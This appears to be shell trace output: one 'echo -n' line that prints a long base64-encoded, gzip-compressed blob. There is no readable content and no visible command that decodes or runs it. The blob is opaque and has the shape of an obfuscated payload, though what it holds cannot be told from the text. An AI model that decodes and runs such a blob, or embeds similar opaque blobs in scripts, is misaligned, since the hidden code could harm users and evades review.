+ echo -n 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